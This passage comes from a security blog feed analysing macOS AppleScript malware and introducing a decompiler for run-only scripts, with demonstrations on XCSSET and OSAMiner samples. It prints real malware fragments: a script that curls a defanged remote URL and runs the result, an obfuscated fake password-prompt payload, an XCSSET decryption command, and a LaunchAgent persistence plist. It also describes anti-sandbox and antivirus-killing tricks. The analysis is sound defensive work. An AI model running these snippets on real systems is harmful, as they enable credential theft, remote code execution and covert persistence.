    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.test.simple<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
      <span class="nt">&lt;string&gt;</span>/usr/bin/osascript<span class="nt">&lt;/string&gt;</span>
      <span class="nt">&lt;string&gt;</span>/Users/user/Library/gfskjsnghdjsvuxj<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
  <span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>We’ve also seen <a href="https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis">BlueNoroff</a> and some <a href="https://pberba.github.io/security/2025/11/11/macos-infection-vector-applescript-bypass-gatekeeper/#:~:text=Fake%20Installers%20and%20Updates">MacSync variants</a> use <code class="language-plaintext highlighter-rouge">.scpt</code> files so that Script Editor runs the AppleScript.</p>

<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeywDduvMa5wdFhOpvMOK78pSimYWra2U2d5pyrMeTzSceX6bJrayjwXq657gK22W4erc-jNxVI10RgnCH5tGi1v_3GMml_IH9aS8pSH_k4N7ZAVH6ONqEVRQuHGw3yWD1GfBZKqQ?key=_cLl26JvGUtmn85WjMb66w" alt="" />
<em>Fake Update (source: <a href="https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis">Huntress</a>)</em></p>

<p>Aside from these, in the past, we’ve seen <a href="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/#demo-xcsset">XCSSET and OSAMiner</a> use compiled AppleScripts for execution.</p>

<p>Admittedly, since the malicious script is on disk, there is a chance for YARA rules to match on this, and process the <a href="https://github.com/Brandon7CC/mac-monitor/pull/79">script content</a> upon execution if you have a sophisticated enough monitoring tool.</p>

<h4 id="run-script-within-osascript">Run script within osascript</h4>

<p>In the same way that we have <code class="language-plaintext highlighter-rouge">exec()</code> in JavaScript and Python, we have <code class="language-plaintext highlighter-rouge">run script</code> for AppleScript. We’ve seen this in <code class="language-plaintext highlighter-rouge">.scpt</code> files from <a href="https://objective-see.org/blog/blog_0x84.html#:~:text=fix_url%20%26%20%22%5C%22%22-,run%20script%20sc,-As%20we%20can">BlueNoroff</a></p>

<div class="language-applescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">set</span><span class="w"> </span><span class="nv">fix_url</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="s2">"hxxps://support.us05web-zoom[.]biz/842799/check"</span><span class="w">
</span><span class="k">set</span><span class="w"> </span><span class="nv">sc</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="nb">do shell script</span><span class="w"> </span><span class="s2">"curl -L -k \""</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nv">fix_url</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="s2">"\""</span><span class="w">
</span><span class="nb">run script</span><span class="w"> </span><span class="nv">sc</span><span class="w">
</span></code></pre></div></div>

<p>This allows attackers to dynamically fetch and run arbitrary scripts, which leads to the next technique.</p>

<h4 id="obfuscated">Obfuscated</h4>

<p>With <code class="language-plaintext highlighter-rouge">run script</code>, attackers can obfuscate their scripts and deobfuscate them at runtime. A toy example is simply reversing the string:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>osascript <span class="se">\</span>
	<span class="nt">-e</span> <span class="s1">'set payload to "\"werb\" eltit htiw rewsna neddih htiw \"\" rewsna tluafed \"gnp.x2@etatS dekcoL_kcoL:secruoseR:A:snoisreV:krowemarf.ecafretnIytiruceS:skrowemarF:yrarbiL:metsyS\" elif noci htiw  \":drowssap nigol retnE\" golaid yalpsid"'</span> <span class="se">\</span>
	<span class="nt">-e</span> <span class="s1">'set payload to reverse of payload'</span><span class="se">\'</span><span class="s1">'s items as text'</span> <span class="se">\</span>
	<span class="nt">-e</span> <span class="s1">'run script payload'</span>
</code></pre></div></div>

<p>A recent in-the-wild example would be <a href="https://censys.com/blog/odyssey-stealer-macos-crypto-stealing-operation">Odyssey Stealer samples</a>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>osascript <span class="nt">-e</span> <span class="s1">'run script "run script \"\" &amp; return &amp; \"on f3368611526666962209(p6418423763347269161)\" &amp; return &amp; ...'</span>
</code></pre></div></div>

<p>I’ve discussed more examples of obfuscation from samples I’ve analyzed in <a href="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/#demo-obfuscation-techniques-used-by-samples">Obfuscation Techniques used by samples</a>.</p>

<h4 id="acknowledgements">Acknowledgements</h4>

<p>Thanks to <a href="https://x.com/_calumhall">@_calumhall</a> and <a href="https://x.com/sysop_host">sysop_host</a> for their input and helping test the project.</p>]]></content><author><name>Pepe Berba</name></author><category term="security" /><summary type="html"><![CDATA[Using macOS Unified Logs to monitor Apple event debug output for malware analysis and detection, with AEMonitor.]]></summary></entry><entry><title type="html">Decompiling run-only AppleScripts</title><link href="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/" rel="alternate" type="text/html" title="Decompiling run-only AppleScripts" /><published>2025-12-14T00:00:00+00:00</published><updated>2025-12-14T00:00:00+00:00</updated><id>https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts</id><content type="html" xml:base="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/"><![CDATA[<h3 id="tldr">TLDR</h3>

<p>The <a href="https://github.com/pberba/applescript-decompiler">applescript-decompiler</a> is a feature-rich decompiler of run-only AppleScripts.</p>

<p>In this blog, we have the following sections:</p>
<ul>
  <li>Validate the tool against XCSSET samples with known source</li>
  <li>Explore anti-analysis and anti-sandbox behavior in older malware</li>
  <li>Show common obfuscation tricks used in the wild</li>
  <li>Walk through key internals that make the decompiler work</li>
</ul>

<h3 id="intro-to-run-only-applescripts">Intro to run-only AppleScripts</h3>

<p>AppleScript is a native macOS scripting language increasingly used in macOS malware. While not as powerful as low-level languages, it offers attackers practical advantages:</p>

<ul>
  <li>straightforward UI automation for social engineering</li>
  <li>inter-application communication via Apple events for covert actions</li>
</ul>

<p>Recent macOS threats, especially AMOS-related samples, show how useful AppleScript can be. Other blogs (<a href="https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/">1</a>, <a href="https://redcanary.com/blog/threat-detection/applescript/">2</a>) cover this in depth, so this post focuses on one specific variant: <strong>run-only AppleScripts</strong>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create a run-only AppleScript</span>
osacompile <span class="nt">-x</span> <span class="nt">-o</span> run_only.scpt sample.scpt

<span class="c"># &gt; osadecompile run_only.scpt              </span>
<span class="c"># osadecompile: run_only.scpt: errOSASourceNotAvailable (-1756).</span>
</code></pre></div></div>

<p>Although uncommon, run-only scripts have appeared in recent XCSSET campaigns <a href="https://www.microsoft.com/en-us/security/blog/2025/09/25/xcsset-evolves-again-analyzing-the-latest-updates-to-xcssets-inventory/">[3]</a> <a href="https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/">[4]</a> and older malware like OSAMiner <a href="https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/">[5]</a>.</p>

<p>Most AppleScripts are easy to analyze due to their readability. But once compiled as run-only, analysis becomes much harder. If attackers start using this more often, it could turn into a new obfuscation technique worth watching <a href="https://www.sentinelone.com/blog/macos-payloads-7-prevalent-and-emerging-obfuscation-techniques/">[6]</a>. For now, I mainly treat this as an interesting side-project.</p>

<p>Microsoft Threat Intelligence <a href="https://www.microsoft.com/en-us/security/blog/2025/09/25/xcsset-evolves-again-analyzing-the-latest-updates-to-xcssets-inventory/">notes</a>:</p>

<blockquote>
  <p>Direct decompilation of run-only compiled AppleScript is generally considered challenging or not feasible.</p>
</blockquote>

<p>Aside from <a href="https://github.com/Jinmo/applescript-disassembler">applescript-disassembler</a>, tooling remains limited. Earlier efforts like <a href="https://github.com/SentineLabs/aevt_decompile">aevt_decompile</a> help, but overall analysis techniques remain insufficient <a href="https://taomm.org/vol1/pdfs/CH%204%20Nonbinary%20Analysis.pdf">[7]</a>.</p>

<p>This blog aims to begin closing that gap. I am introducing the <a href="https://github.com/pberba/applescript-decompiler">applescript-decompiler</a> which was built on top of the <a href="https://github.com/Jinmo/applescript-disassembler">applescript-disassembler</a>.</p>

<h3 id="demo-xcsset">Demo: XCSSET</h3>

<p>If you believe me when I say that the decompiler is accurate, then you can skip this section. Otherwise, I’ll aim to show the decompiler’s accuracy by comparing the recovered scripts with their known source code.</p>

<p>Our main reference here is <a href="https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf">TrendMicro’s report on the XCSSET Malware back in 2020</a>. There have also been other blog posts on this, but they are lighter on details. The samples we’ll use here match those from the <a href="https://www.sentinelone.com/blog/xcsset-malware-update-macos-threat-actors-prepare-for-life-without-python/">2022 SentinelOne post</a> and the <a href="https://www.microsoft.com/en-us/security/blog/2025/09/25/xcsset-evolves-again-analyzing-the-latest-updates-to-xcssets-inventory/">2025 Microsoft post</a>.</p>

<p>The reference source code was obtained directly from the C2 server or captured on the wire. This will help us validate the quality of the decompiler.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Name</th>
      <th style="text-align: left">Sample</th>
      <th>Year</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">main.scpt</code></td>
      <td style="text-align: left"><a href="https://www.virustotal.com/gui/file/386473424d583678a01ba88d12831e17d496eae2fcabf857d8db2cefa338555d/">3864…555d</a></td>
      <td>2022</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">a</code> (bootstrap module)</td>
      <td style="text-align: left"><a href="https://www.virustotal.com/gui/file/d5fb4f6a77305f8ce5c9a214c4d66448ae2bd087f9eb32e8bd30585adecca2df/">d5fb…a2df</a></td>
      <td>2022</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">main.scpt</code> (listing module)</td>
      <td style="text-align: left"><a href="https://www.virustotal.com/gui/file/c17565f148d8ab216220474c1210b4a86ee110e2e73215220951261605fe8c60/">c175…8c60</a></td>
      <td>2022</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">main.scpt</code> (notes_app module)</td>
      <td style="text-align: left"><a href="https://www.virustotal.com/gui/file/af08a32040ac41bfdc1ff6b9ddd1ea75b9df649a3890e515303493a31fa3396f">af08…396f</a></td>
      <td>2022</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">ukkc</code></td>
      <td style="text-align: left"><a href="https://www.virustotal.com/gui/file/18351d6df1ae9c4f9b48835266981ce614f7b6ce7b41d5178d3af8974679b1c7">1835…b1c7</a></td>
      <td>2025</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">xmyyeqjx</code> (persistence module)</td>
      <td style="text-align: left"><a href="https://www.virustotal.com/gui/file/f3bc158619b2aad17def966f0ac8dddc2107e4911a7c488d358d906f27ac2a2b/">f3bc…2a2b</a></td>
      <td>2025</td>
    </tr>
  </tbody>
</table>

<h4 id="getting-started">Getting started</h4>

<p>Let’s start with two small samples to show how the tool works.</p>

<p>All of these files are <code class="language-plaintext highlighter-rouge">AppleScript compiled</code> files, but when we try to run <code class="language-plaintext highlighter-rouge">osadecompile</code>, it fails with <code class="language-plaintext highlighter-rouge">errOSASourceNotAvailable</code>, which is expected for run-only scripts.</p>

<p>Let’s say you wanted to decompile <a href="https://www.virustotal.com/gui/file/386473424d583678a01ba88d12831e17d496eae2fcabf857d8db2cefa338555d/">3864…555d</a> using <code class="language-plaintext highlighter-rouge">osadecompile</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>venv<span class="o">)</span> ➜  file 3864...555d        
3864...555d: AppleScript compiled
<span class="o">(</span>venv<span class="o">)</span> ➜  osadecompile 3864...555d
osadecompile: 3864...555d: errOSASourceNotAvailable <span class="o">(</span><span class="nt">-1756</span><span class="o">)</span><span class="nb">.</span>
</code></pre></div></div>

<p>Using <code class="language-plaintext highlighter-rouge">applescript_decompile</code>, we recover the readable source code. The output is close enough to real AppleScript that syntax highlighting works. The source of <a href="https://www.virustotal.com/gui/file/386473424d583678a01ba88d12831e17d496eae2fcabf857d8db2cefa338555d/">3864…555d</a>  matches with the one mentioned <a href="https://www.sentinelone.com/blog/xcsset-malware-update-macos-threat-actors-prepare-for-life-without-python/#:~:text=osacompile%20%2Dx%20%2De%20try%20do%20shell%20script%20%22osascript%20%27/Users/user1/Library/Application%20Support/com.apple.spotlight/Notes.app/Contents/Resources/Scripts/a.scpt%27%22%20end%20try%20%2Do">here</a></p>

<div class="language-applescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- (venv) ➜  applescript_decompile 386473424d583678a01ba88d12831e17d496eae2fcabf857d8db2cefa338555d</span><span class="w">

</span><span class="k">on</span> <span class="nb">run</span><span class="w">
    </span><span class="k">try</span><span class="w">
        </span><span class="p">(</span><span class="nb">do shell script</span><span class="w"> </span><span class="s2">"osascript '/Users/user1/Library/Application Support/com.apple.spotlight/Notes.app/Contents/Resources/Scripts/a.scpt'"</span><span class="p">)</span><span class="w">
    </span><span class="nb">on</span><span class="w"> </span><span class="k">error</span><span class="w">
        </span><span class="nb">return</span><span class="w">
    </span><span class="k">end</span><span class="w"> </span><span class="k">try</span><span class="w">
</span><span class="k">end</span><span class="w"> </span><span class="nb">run</span><span class="w">
</span></code></pre></div></div>

<p>Doing the same for the <a href="https://www.virustotal.com/gui/file/18351d6df1ae9c4f9b48835266981ce614f7b6ce7b41d5178d3af8974679b1c7">ukkc</a> also gives a result. However, the strings are obfuscated:</p>

<div class="language-applescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- g=$(echo $w | cut -c1-32 );echo $w | cut -c33- | base64 --decode | openssl enc -d -aes-256-cbc -iv $g -K 27860c1670a8d2f3de7bbc74cd754121</span><span class="w">
</span><span class="k">on</span> <span class="nb">run</span><span class="w">
    </span><span class="k">set</span><span class="w"> </span><span class="nv">x</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="s2">""</span><span class="w">
    </span><span class="k">repeat</span><span class="w"> </span><span class="nv">with</span><span class="w"> </span><span class="err">[</span><span class="nv">var_1</span><span class="err">]</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="p">{</span><span class="mi">103</span><span class="p">,</span><span class="w"> </span><span class="mi">61</span><span class="p">,</span><span class="w"> </span><span class="mi">36</span><span class="p">,</span><span class="w"> </span><span class="mi">40</span><span class="p">,</span><span class="w"> </span><span class="mi">101</span><span class="p">,</span><span class="w"> </span><span class="mi">99</span><span class="p">,</span><span class="w"> </span><span class="mi">104</span><span class="p">,</span><span class="w"> </span><span class="mi">111</span><span class="p">,</span><span class="w"> </span><span class="mi">32</span><span class="p">,</span><span class="w"> </span><span class="mi">36</span><span class="p">,</span><span class="w"> </span><span class="mi">119</span><span class="p">,</span><span class="w"> </span><span class="mi">32</span><span class="p">,</span><span class="w"> </span><span class="mi">124</span><span class="p">,</span><span class="w"> </span><span class="mi">32</span><span class="p">,</span><span class="w"> </span><span class="mi">99</span><span class="p">,</span><span class="w"> </span><span class="mi">117</span><span class="p">,</span><span class="w"> </span><span class="p">...</span><span class="w"> </span><span class="p">}</span><span class="w">
        </span><span class="k">set</span><span class="w"> </span><span class="nv">x</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="nv">x</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="p">(</span><span class="nv">kfrmID</span><span class="w">  </span><span class="nv">cha</span><span class="w">  </span><span class="k">of</span><span class="w"> </span><span class="err">[</span><span class="nv">var_1</span><span class="err">]</span><span class="p">)</span><span class="w">
    </span><span class="k">end</span><span class="w"> </span><span class="k">repeat</span><span class="w">
    </span><span class="k">try</span><span class="w">
        </span><span class="p">(</span><span class="nb">run script</span><span class="w"> </span><span class="p">(</span><span class="nb">do shell script</span><span class="w"> </span><span class="s2">"w="</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="err">[</span><span class="nv">var_0</span><span class="err">]</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="s2">";"</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nv">x</span><span class="p">))</span><span class="w">
    </span><span class="nb">on</span><span class="w"> </span><span class="k">error</span><span class="w">

    </span><span class="k">end</span><span class="w"> </span><span class="k">try</span><span class="w">
    </span><span class="nb">return</span><span class="w"> </span><span class="s2">""</span><span class="w">
</span><span class="k">end</span><span class="w"> </span><span class="nb">run</span><span class="w">
</span></code></pre></div></div>

<p>We’ll look at automatic deobfuscation later. For now, converting the values in <code class="language-plaintext highlighter-rouge">[var_1]</code> into characters manually gives us:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>g=$(echo $w | cut -c1-32 );echo $w | cut -c33- | base64 --decode | openssl enc -d -aes-256-cbc -iv $g -K 27860c1670a8d2f3de7bbc74cd754121
</code></pre></div></div>

<p>The key <code class="language-plaintext highlighter-rouge">27860c1670a8d2f3de7bbc74cd754121</code> also appears in <a href="https://www.microsoft.com/en-us/security/blog/2025/09/25/xcsset-evolves-again-analyzing-the-latest-updates-to-xcssets-inventory/#:~:text=27860c1670a8d2f3de7bbc74cd754121">Microsoft’s write-up</a></p>

<h4 id="main-bootstrap-module">main bootstrap module</h4>

<p>We look at the main <code class="language-plaintext highlighter-rouge">a</code> payload from <a href="https://www.virustotal.com/gui/file/d5fb4f6a77305f8ce5c9a214c4d66448ae2bd087f9eb32e8bd30585adecca2df/details">d5fb…a2df</a> and compare this with snippets shown by <a href="https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf">TrendMicro back in 2020</a>. There is strong overlap between the 2020 source and the 2022 decompiled version.</p>

<p><img src="/assets/posts/20251214/00-comparison.jpg" alt="" />
<em>We can see the basic system collection in the init function.</em></p>

<p><img src="/assets/posts/20251214/01-comparison.jpg" alt="" />
<em>And we can see that it still has the browser-related code.</em></p>

<p><img src="/assets/posts/20251214/02-comparison.jpg" alt="" />
<em>And the code snippets for loading have the same structure but have been updated for newer versions of macOS.</em></p>

<h4 id="listing-module">listing module</h4>

<p>SentinelOne published some <a href="https://www.sentinelone.com/blog/xcsset-malware-update-macos-threat-actors-prepare-for-life-without-python/#:~:text=x%0Aend%20xex-,Malicious%20Run%2DOnly%20AppleScripts,-Aside%20from%20a">code excerpts</a>. The decompiled output matches the structure shown in their samples.</p>

<p><img src="/assets/posts/20251214/03-comparison.jpg" alt="" />
<em>checking for XProtect</em></p>

<p><img src="/assets/posts/20251214/04-comparison.jpg" alt="" />
<em>exfiltration code</em></p>

<h4 id="notes_app-module">notes_app module</h4>

<p>Microsoft in early 2025 <a href="https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/#:~:text=the%20generated%20payload.-,cozfi_xhh,-(Steals%20notes%20from)">[4]</a> reported a more developed version of the <code class="language-plaintext highlighter-rouge">notes_app</code> module, but earlier variants already appear in some 2022 samples.</p>

<p><img src="/assets/posts/20251214/07-comparison.jpg" alt="" />
<em>Creation of fake Notes app to steal notes</em></p>

<p><img src="/assets/posts/20251214/08-comparison.jpg" alt="" />
<em>TCC retry</em></p>

<h4 id="xmyyeqjx">xmyyeqjx</h4>

<p>For <code class="language-plaintext highlighter-rouge">xmyyeqjx.scpt</code>, we no longer have the source of the AppleScript. If we use the <a href="https://github.com/Jinmo/applescript-disassembler">applescript-disassembler</a>, some code segments are not properly disassembled.</p>

<p><img src="/assets/posts/20251214/05-maybe-binding.png" alt="" />
<em>maybe binding?</em></p>

<p>I’m not sure what this is. Maybe a script block? I’ve added a <code class="language-plaintext highlighter-rouge">-f</code> flag to try to recurse through these and look for code segments that look like functions.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>applescript_decompile xmyyeqjx.scpt -f 
</code></pre></div></div>

<p><img src="/assets/posts/20251214/06-xmyyeqjx-decompiled.png" alt="" />
<em>decompiled xmyyeqjx.scpt</em></p>

<p>The decompiled code matches with the behavior described in <a href="https://www.microsoft.com/en-us/security/blog/2025/09/25/xcsset-evolves-again-analyzing-the-latest-updates-to-xcssets-inventory/#:~:text=The%20downloaded%20script,created%20plist%20file%3A">Microsoft’s recent post on this.</a></p>

<blockquote>
  <p>The downloaded script first gets the device’s serial number and the current username by executing shell commands. It then forms path to the LaunchDaemon plist file and constructs its content. It uses the echo command to paste this constructed content to the LaunchDaemon file. The file name is the name that was passed in the argument.</p>
</blockquote>

<h3 id="demo-osaminer">Demo: OSAMiner</h3>

<p>Now that we’ve validated the tool against XCSSET, let’s try it on something where the original source is unknown. We’ll try the tool with <a href="e-dead-adventures-in-reversing-malicious-run-only-applescripts/">OSAMiner samples</a>, which Phil Stokes previously analyzed. My goal is to show that this tool makes analysis easier and lets us look more deeply into the capabilities of the samples.</p>

<p>We are going to be analyzing the <a href="https://github.com/objective-see/Malware/blob/main/OSAMiner.zip">OSAMiner.zip</a>. The filename references in this section are from that zip.</p>

<h4 id="anti-analysis-and-anti-sandbox">Anti-analysis and anti-sandbox</h4>

<p>We analyze com.apple.4V.plist and we see that it employs some logic to:</p>
<ul>
  <li>decrypt strings at runtime</li>
  <li>perform a bunch of checks to evade detection and analysis</li>
</ul>

<h5 id="decrypting-strings">Decrypting Strings</h5>

<p>Decompiling <code class="language-plaintext highlighter-rouge">com.apple.4V.plist</code>, we are able to see <code class="language-plaintext highlighter-rouge">d(_s)</code> and <code class="language-plaintext highlighter-rouge">e(_s)</code></p>

<p><img src="/assets/posts/20251214/09-d-and-e.png" alt="" /></p>

<p>This is used all over OSAMiner.</p>

<p><img src="/assets/posts/20251214/10-obfuscated.png" alt="" />
<em>code with encrypted strings</em>
From this, it is easy to see that <code class="language-plaintext highlighter-rouge">d</code> decrypts the ciphertext by shifting the characters by 100. This can be implemented easily with the following python code:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">def</span> <span class="nf">d</span><span class="p">(</span><span class="n">_s</span><span class="p">):</span>
    <span class="k">return</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="o">-</span> <span class="mi">100</span><span class="p">)</span> <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">_s</span><span class="p">)</span>
</code></pre></div></div>

<p>This custom processor can be added to <code class="language-plaintext highlighter-rouge">applescript_decompile</code> by using <code class="language-plaintext highlighter-rouge">--analyzer OSAMinerDecryptAnalyzer</code> and this automatically detects non-ASCII strings and does the decryption.</p>

<p><img src="/assets/posts/20251214/11-deobfuscated.png" alt="" />
<em>with <code class="language-plaintext highlighter-rouge">--analyzer OSAMinerDecryptAnalyzer</code></em></p>

<p>All output after this point uses this analyzer.</p>

<h5 id="sandbox-detection">Sandbox Detection</h5>

<p>OSAMiner has implemented some anti-sandbox and anti-analysis techniques.</p>

<p>For example, it checks whether the system has at least 100GB of disk space using <code class="language-plaintext highlighter-rouge">System Events</code>.</p>

<p><img src="/assets/posts/20251214/12-disk-check.png" alt="" />
<em>disk check</em></p>

<p>Another check is the age of the <code class="language-plaintext highlighter-rouge">com.apple.XXX.plist</code>, which was dropped by the previous code snippet. If it is less than 1 day old, the script sleeps and waits. This means that when this payload is run in most analysis sandboxes, it will be dormant and remain undetected.</p>

<p><img src="/assets/posts/20251214/13-date-check.png" alt="" />
<em>date check</em></p>

<p>Next, it checks for internet connectivity and waits until it has internet access. Only then does it try to contact the C2 server.</p>

<p><img src="/assets/posts/20251214/14-internet-check.png" alt="" />
<em>internet check</em></p>

<p>After getting the C2 domain, it uses a poor man’s fileless malware technique by dropping a file, running the payload and deleting the file shortly after to prevent future static analysis of the file.</p>

<p><img src="/assets/posts/20251214/15-execute-via-apple-events.png" alt="" />
<em>execution through Apple Events</em></p>

<p>Finally, it makes sure that the LaunchAgent is restarted by running <code class="language-plaintext highlighter-rouge">launchctl</code> stop and start . But instead of running this directly, it runs it in a new <code class="language-plaintext highlighter-rouge">Terminal</code> window through Apple Events. This makes it hard to link the <code class="language-plaintext highlighter-rouge">launchtl</code> command back to this payload. The parent process of <code class="language-plaintext highlighter-rouge">Terminal</code> would be <code class="language-plaintext highlighter-rouge">launchd</code>. This makes behavioural analysis harder.</p>

<h4 id="impairing-defenses">Impairing Defenses</h4>

<p>This technique is briefly touched on by Phil Stokes in <a href="https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/">5</a>. But the decompiled source makes the technique much more clear.</p>

<p>In <code class="language-plaintext highlighter-rouge">k.plist</code>, we see the function <code class="language-plaintext highlighter-rouge">kPro</code></p>

<p><img src="/assets/posts/20251214/16-kill-process.png" alt="" />
<em>killing process by name</em></p>

<p>This is used to kill <code class="language-plaintext highlighter-rouge">Activity Monitor</code></p>

<p><img src="/assets/posts/20251214/17-kill-activity-monitor.png" alt="" />
<em>don’t look at me</em></p>

<p>And we see that it tries to look at running anti-virus software through <code class="language-plaintext highlighter-rouge">ps</code>. If that doesn’t work, it looks through the installation logs to find and kill these specific apps.</p>

<p><img src="/assets/posts/20251214/18-kill-av.png" alt="" />
<em>impair defenses</em></p>

<h4 id="masquerading-as-plist">Masquerading as plist</h4>

<p>Another interesting sample is <code class="language-plaintext highlighter-rouge">office4mac.app</code>. We see there is code to convert a string to hex. This is used to exfiltrate the output of <code class="language-plaintext highlighter-rouge">applet.plist</code></p>

<p><img src="/assets/posts/20251214/19-execute-and-exfil.png" alt="" />
<em>executing plist?</em></p>

<p>If we look at the file types on the contents of <code class="language-plaintext highlighter-rouge">office4mac.app</code>, we see some imposters.</p>

<p><img src="/assets/posts/20251214/20-type-mismatch.png" alt="" />
<em>masquerading</em></p>

<h3 id="demo-obfuscation-techniques-used-by-samples">Demo: Obfuscation Techniques used by samples</h3>

<p>Here we just go through some samples with obfuscation in them.</p>

<h4 id="variable-substitution">Variable substitution</h4>

<p>We look at <code class="language-plaintext highlighter-rouge">888.scpt</code>. This was something that I encountered in a <a href="https://pberba.github.io/security/2025/11/11/macos-infection-vector-applescript-bypass-gatekeeper/">previous blog post</a>. The <a href="https://www.virustotal.com/gui/file/c6dae9481354466531c186421dda521cbedc72c0bf32ba8d49f6eee2cbf2477f/">888.scpt</a> is a run-only script.</p>

<p>The decompiled script isn’t very complicated, but it is obfuscated with variable substitutions.</p>

<p><img src="/assets/posts/20251214/21-888.png" alt="" />
<em>obfuscates the URL for the 2nd stage DMG</em></p>

<h4 id="ascii-character-x">ASCII Character X</h4>

<p>I’ve seen a bunch of compiled AppleScripts from samples like <a href="https://www.virustotal.com/gui/file/2f5307d9e0d56baf454cd96c0dfa19e5eab9d2d5843b359220d73d396f4135e9">app.macked.parallels-desktop.activation</a></p>

<p>Peeking into them, we can see that their scripts are obfuscated with <code class="language-plaintext highlighter-rouge">(ASCII Character X)</code>.</p>

<p><img src="/assets/posts/20251214/22-character-obfuscation.png" alt="" />
<em>obfuscates the URL for the 2nd stage DMG</em></p>

<p>I added a <code class="language-plaintext highlighter-rouge">NaiveStringAnalyzer</code> analyzer that will find <code class="language-plaintext highlighter-rouge">(ASCII Character X)</code> and just replace it with the string equivalent, and then try to concatenate the inputs.</p>

<p><img src="/assets/posts/20251214/23-naive-deobfuscation.png" alt="" />
<em>with <code class="language-plaintext highlighter-rouge">--analyzer NaiveStringAnalyzer</code></em></p>

<h4 id="array-of-integers">Array of Integers</h4>

<p>With the analyzer, the <code class="language-plaintext highlighter-rouge">ukkc</code> output is also automatically deobfuscated.</p>

<p><img src="/assets/posts/20251214/24-ukkc-revisited.png" alt="" />
<em>unobfuscated ukkc</em></p>

<p><code class="language-plaintext highlighter-rouge">NaiveStringAnalyzer</code> works by finding numeric literals that might be ASCII
and converting them into single characters. And then we override the rendering of lists and concatenate all the strings together.</p>

<h3 id="building-a-decompiler">Building a decompiler</h3>

<p><em>Disclaimer: I don’t do reverse engineering, so terminology used here might not be the best. A lot of this is just guesswork.</em></p>

<p>This tool uses the disassembled code produced by <a href="https://github.com/Jinmo/applescript-disassembler">applescript-disassembler</a>. Below is an example of the output of the disassembler.</p>

<p><img src="/assets/posts/20251214/d00-disassembled.png" alt="" />
<em>applescript disassembled code</em></p>

<p>By the end of this blog, I hope I’ve given you the basics you need to understand the code above.</p>

<h4 id="basic-expressions">Basic Expressions</h4>

<p>To get started, we must first understand how expressions are represented and built during the decompilation process</p>

<p><img src="/assets/posts/20251214/d00-basic-expression.png" alt="" /></p>

<p>In the same way that Java has its JVM and the java-bytecode, I <em>assume</em> that AppleScript has an AppleScript Virtual Machine (VM) which interprets the AppleScript bytecode. I imagine that there are several runtime stacks and some variables/registers which I will try to slowly introduce.</p>

<p><img src="/assets/posts/20251214/d00-mental-model.png" alt="" />
<em>my mental model of the applescript vm</em></p>

<p>For now, we need a <code class="language-plaintext highlighter-rouge">runtime_stack</code>. For any operation:</p>
<ol>
  <li>We push values to the stack that serve as inputs for future operations</li>
